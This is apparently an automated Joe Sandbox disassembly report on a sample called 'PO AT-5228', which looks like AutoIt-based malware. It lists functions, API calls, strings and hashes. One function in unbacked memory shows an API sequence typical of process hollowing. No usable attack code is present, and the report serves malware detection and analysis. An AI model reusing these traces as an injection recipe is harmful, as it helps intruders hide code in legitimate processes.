Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: ac0615662104c1b5be0dae267bfe058869ba61e20f25928cdb9880032b0b7cd7
Instruction ID: 631da625aa2629ce75db38a18f1d4e5d8ed27f5c93ecafc9ab1be326a03ed706
Opcode Fuzzy Hash: ac0615662104c1b5be0dae267bfe058869ba61e20f25928cdb9880032b0b7cd7
Instruction Fuzzy Hash: CC112C71600109BFEB04ABA4CD96DBF7BACEF14344F0440A9B606E71A2EBB09E459A50

Function 00B636B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00B636E6
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00B63707
ShowWindow.USER32(00000000,?,?,?,?,00B63AA3,?), ref: 00B6371B
ShowWindow.USER32(00000000,?,?,?,?,00B63AA3,?), ref: 00B63724

Strings

AutoIt v3, xrefs: 00B636DE, 00B636E3, 00B636E4
edit, xrefs: 00B63701

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: c6bdd9933e9dde53cec778eb1f9ee696045b85cf2ba21464b57a442311dfdb78
Instruction ID: 164f0bb4d29add5643090d60c78da64ba414bd35fe5a9a4008d6c63e4deb484e
Opcode Fuzzy Hash: c6bdd9933e9dde53cec778eb1f9ee696045b85cf2ba21464b57a442311dfdb78
Instruction Fuzzy Hash: 0CF03A715502D47AE7305757AC48F7B3E7ED7D6F20B04002ABE04A71B0C5A10886CAB4

Function 0195FA70 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0195F960: Sleep.KERNEL32(000001F4), ref: 0195F971

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0195FB72

Strings

9OXMYGIHOY7TWA5, xrefs: 0195FBD5, 0195FBD8

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID: CreateFileSleep
String ID: 9OXMYGIHOY7TWA5
API String ID: 2694422964-1748768190
Opcode ID: 15f34619e45d072d86438ce6075e31847ae2575daada14dde322fc700fee0838
Instruction ID: 94742839c03273c5bd78a6ff7d539503b58a8f0286fed43818f7b8b318161203
Opcode Fuzzy Hash: 15f34619e45d072d86438ce6075e31847ae2575daada14dde322fc700fee0838
Instruction Fuzzy Hash: 28517071D04249EAEF11DBE4D814BEEBBB8AF54314F0045A9EA08BB2C0D7791B49CB65

Function 00B64139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B641A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00B639FE,?,00000001), ref: 00B641DB

_free.LIBCMT ref: 00BD36B7
_free.LIBCMT ref: 00BD36FE

Part of subcall function 00B6C833: __wsplitpath.LIBCMT ref: 00B6C93E
Part of subcall function 00B6C833: _wcscpy.LIBCMT ref: 00B6C953
Part of subcall function 00B6C833: _wcscat.LIBCMT ref: 00B6C968
Part of subcall function 00B6C833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00B6C978

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00BD3491
Bad directive syntax error, xrefs: 00BD36E4

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 805182592-1757145024
Opcode ID: 8b78f80e7256f098abf4e8b49fd51bfb4da516e7bcde588564bfc0385a909501
Instruction ID: 6abd55f95f07f10d2ca325519611d62e6364140dbe8cfc05e2b09585fc0f5e88
Opcode Fuzzy Hash: 8b78f80e7256f098abf4e8b49fd51bfb4da516e7bcde588564bfc0385a909501
Instruction Fuzzy Hash: 03917D71910219AFCF04EFA4CC919EDBBF4FF19710F1044AAF416AB292EB74AA44CB51

Function 00B64A30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00B65374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00C21148,?,00B661FF,?,00000000,00000001,00000000), ref: 00B65392

Part of subcall function 00B649FB: RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00B64A1D

_wcscat.LIBCMT ref: 00BD2D80
_wcscat.LIBCMT ref: 00BD2DB5

Strings

\Include\, xrefs: 00B64B0A
\, xrefs: 00BD2DA2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcscat$FileModuleNameOpen
String ID: \$\Include\
API String ID: 3592542968-2640467822
Opcode ID: 4f62e18645a7714a5a6e87fad4d453144dd5a87f5a94e2aa4880d8223bee3467
Instruction ID: a65bfd3160af0cf7540518b199a0a9fa253951e03389684f6812298a87df6db8
Opcode Fuzzy Hash: 4f62e18645a7714a5a6e87fad4d453144dd5a87f5a94e2aa4880d8223bee3467
Instruction Fuzzy Hash: 27518275424340AFC724EF59D881EAEB7F4FF59300B4005AEF64993660EB749E19CB52

Function 00B834AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__getstream.LIBCMT ref: 00B834FE

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

@_EH4_CallFilterFunc@8.LIBCMT ref: 00B83539
__wopenfile.LIBCMT ref: 00B83549

Strings

<G, xrefs: 00B834CD, 00B834F0, 00B834FC

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
String ID: <G
API String ID: 1820251861-2138716496
Opcode ID: c6f1557a79406fd25012a9e9f2aa39f447f5966ca70b8de1c1b708118ab0284f
Instruction ID: 7ed87ce350600c9f75c7363f0dc0a6be7a41035e1f7e4bff052f47e31adb2b31
Opcode Fuzzy Hash: c6f1557a79406fd25012a9e9f2aa39f447f5966ca70b8de1c1b708118ab0284f
Instruction Fuzzy Hash: 30110670A002069BDB22BF708C426AE37E4EF05F50B1884E5E815CB2B1EB74CA41DBA1

Function 00B7D298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00B7D28B,SwapMouseButtons,00000004,?), ref: 00B7D2BC
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,00B7D28B,SwapMouseButtons,00000004,?,?,?,?,00B7C865), ref: 00B7D2DD
RegCloseKey.KERNEL32(00000000,?,?,00B7D28B,SwapMouseButtons,00000004,?,?,?,?,00B7C865), ref: 00B7D2FF

Strings

Control Panel\Mouse, xrefs: 00B7D2BA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: e75821033a5bfe7ec3b9d9a1b39e5d4ab643f68acf94b66f45177e2ee24f5ad2
Instruction ID: d639f56052433791692112c99ae3fcf7677bf8700a27dce2ecbaff45fb0bb852
Opcode Fuzzy Hash: e75821033a5bfe7ec3b9d9a1b39e5d4ab643f68acf94b66f45177e2ee24f5ad2
Instruction Fuzzy Hash: 92113975611208BFDB218FA8CC84EAF7BF8EF44794F1088A9E819D7111E671AE419B64

Function 0195E960 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 0195F11B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 0195F1B1
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0195F1D3

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: dbcdd5886b880b5c161ff2c694cfceffc24b8721b5d78ef826e157d7e74dbfef
Instruction ID: 1c2bcfb123bd8cc1b282436c4c384226294a77315734db334b19d87e0dc96e99
Opcode Fuzzy Hash: dbcdd5886b880b5c161ff2c694cfceffc24b8721b5d78ef826e157d7e74dbfef
Instruction Fuzzy Hash: 2A621A30A14218DBEB24CFA4C850BEEB776EF58700F1091A9D60DEB390E7759E81CB59

Function 00B8365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B836B7
_memcpy_s.LIBCMT ref: 00B83729
__filbuf.LIBCMT ref: 00B837AA
_memset.LIBCMT ref: 00B837EE

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: 25276d1f646da7b76298e578b8e053e7e3b96e54df01e447abe6ae266d0f960a
Instruction ID: 4fd362f54bd0ef3a0ad82601b97059a5c01ba0a9286229fab1d5649f31b10480
Opcode Fuzzy Hash: 25276d1f646da7b76298e578b8e053e7e3b96e54df01e447abe6ae266d0f960a
Instruction Fuzzy Hash: B35185B4A04205ABDB24BF69C89596E77E1EF40F20F2486A9F835962F0E775DF50CB40

Function 00B7EB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B7EBB2

Part of subcall function 00B651AF: _memset.LIBCMT ref: 00B6522F
Part of subcall function 00B651AF: _wcscpy.LIBCMT ref: 00B65283
Part of subcall function 00B651AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00B65293

KillTimer.USER32(?,00000001,?,?), ref: 00B7EC07
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B7EC16
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BD3C88

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 81d26eaa3a875d0120cdbc8906cabe71426ec61b4ac6ed50d7b89fdb8435643d
Instruction ID: 7d66fea3d5fd45ca7972e36d97e216ba7f3b5866cd6fb8bd2ff21c7ddc930e4b
Opcode Fuzzy Hash: 81d26eaa3a875d0120cdbc8906cabe71426ec61b4ac6ed50d7b89fdb8435643d
Instruction Fuzzy Hash: 9321F8745047849FE7339B288855BEAFBECDF05704F0404DEE6AE56242D7746A848B52

Function 00B640E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BD3725
GetOpenFileNameW.COMDLG32 ref: 00BD376F

Part of subcall function 00B6660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B653B1,?,?,00B661FF,?,00000000,00000001,00000000), ref: 00B6662F

Part of subcall function 00B640A7: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00B640C6

Strings

X, xrefs: 00BD373E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: d956f8a8af25d05a9e9abbb7dad6ef601e0697ae66b97af7e78bd4ad270dcee7
Instruction ID: bec07e69d49c3b629dcd5cdea0da83d0fc9e01997cea7ec548f36de6c915538e
Opcode Fuzzy Hash: d956f8a8af25d05a9e9abbb7dad6ef601e0697ae66b97af7e78bd4ad270dcee7
Instruction Fuzzy Hash: CC21A571A106989FCF01EFD4D845BEEBBF99F49704F0040AAE405B7241DFB89A898F65

Function 00BAC71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00BAC72F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00BAC746

Strings

aut, xrefs: 00BAC740

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 120ada28184f4f767256a692e27bc57298995fbfea9486bb1a1cf030cfee232d
Instruction ID: 75187146b50d1745a7324c80c2dd5287ceef62af2ce968eb682b5d2072c82dd1
Opcode Fuzzy Hash: 120ada28184f4f767256a692e27bc57298995fbfea9486bb1a1cf030cfee232d
Instruction Fuzzy Hash: 18D05E7150030EABDB10AB90DC4EFCAB76C9700709F0001A07750AA0B1DAF0E6998B54

Function 00BBF8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 798aabf7a103670e4b0dc854748f2a62c595a97f67e83e8a8b8497ef77ddbc2d
Instruction ID: 4c75b44cbc7a958f31e48d096c24f8e550e4b8d4fb6a1b5a5fb136160f88a5a2
Opcode Fuzzy Hash: 798aabf7a103670e4b0dc854748f2a62c595a97f67e83e8a8b8497ef77ddbc2d
Instruction Fuzzy Hash: F6F15C716083019FC710DF28C881B6EBBE5FF88314F1489ADF9999B252D770E945CB82

Function 00B8395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00B83973

Part of subcall function 00B881C2: __NMSG_WRITE.LIBCMT ref: 00B881E9
Part of subcall function 00B881C2: __NMSG_WRITE.LIBCMT ref: 00B881F3

__NMSG_WRITE.LIBCMT ref: 00B8397A

Part of subcall function 00B8821F: GetModuleFileNameW.KERNEL32(00000000,00C20312,00000104,00000000,00000001,00000000), ref: 00B882B1
Part of subcall function 00B8821F: ___crtMessageBoxW.LIBCMT ref: 00B8835F

Part of subcall function 00B81145: ___crtCorExitProcess.LIBCMT ref: 00B8114B
Part of subcall function 00B81145: ExitProcess.KERNEL32 ref: 00B81154

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

RtlAllocateHeap.NTDLL(01920000,00000000,00000001,00000001,00000000,?,?,00B7F507,?,0000000E), ref: 00B8399F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: b843952d22f000411bc1f6393dbbae0d1da61441d08a7f1731caff0a14539edf
Instruction ID: 264da0527cfde8a5a4c9fdbbe3589eea6181a2c1b29a8e7b9cf231222e7d9735
Opcode Fuzzy Hash: b843952d22f000411bc1f6393dbbae0d1da61441d08a7f1731caff0a14539edf
Instruction Fuzzy Hash: BE0196352852119BE6213B29DC56B2E23C8DB81F64B2500AAF5079B2B2DEF0DD41C760

Function 00BAC6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00BAC385,?,?,?,?,?,00000004), ref: 00BAC6F2
SetFileTime.KERNEL32(00000000,?,00000000,?,?,00BAC385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00BAC708
CloseHandle.KERNEL32(00000000,?,00BAC385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00BAC70F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: d6d1eb4f399f453bec5253d2977c2eb7be7e4c95c5589a9415089ff93b28aa22
Instruction ID: d0a0dbf60bf112f7196d5462f138236bf7ec9c7ab4109f507ea110ed4eb96b00
Opcode Fuzzy Hash: d6d1eb4f399f453bec5253d2977c2eb7be7e4c95c5589a9415089ff93b28aa22
Instruction Fuzzy Hash: FAE08632140214BBDB211F54AC49FCA7F58EB05760F104110FB157E0E09BF269118799

Function 00BABB64 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BABB72

Part of subcall function 00B81C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00B87A85), ref: 00B81CB1
Part of subcall function 00B81C9D: GetLastError.KERNEL32(00000000,?,00B87A85), ref: 00B81CC3

_free.LIBCMT ref: 00BABB83
_free.LIBCMT ref: 00BABB95

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8d6c99314b0704041c66cbc9d98ad607d1a0ae96d99a55b8255782f8bd4ba31d
Instruction ID: 9dfc46419d17a76a44fe568732270fafce7ee61c87388d23c07e9f46df54a4a7
Opcode Fuzzy Hash: 8d6c99314b0704041c66cbc9d98ad607d1a0ae96d99a55b8255782f8bd4ba31d
Instruction Fuzzy Hash: 4CE012A164674186DA24797D6E44EB713CCCF053517540C9DB469EB147CF24E841CAB4

Function 00B62322 Relevance: 3.9, APIs: 3, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 00B622A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00B624F1), ref: 00B62303

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00B625A1
CoInitialize.OLE32(00000000), ref: 00B62618
CloseHandle.KERNEL32(00000000), ref: 00BD503A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 3815369404-0
Opcode ID: ac359afbcc16b002bb25866086cb9e7cd6f9e4faa67ccca6c38df7c856411603
Instruction ID: 57e17d07ad1459a81981414cf3ce876c4307ef127b0d35db33990a8e1cf60cf6
Opcode Fuzzy Hash: ac359afbcc16b002bb25866086cb9e7cd6f9e4faa67ccca6c38df7c856411603
Instruction Fuzzy Hash: B371CDB4921285CAC724EF6AA89079DBBE5FB7934039841BEE909C7F71CB344816CF15

Function 00BABBE8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00BABC18

Strings

EA06, xrefs: 00BABC46

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

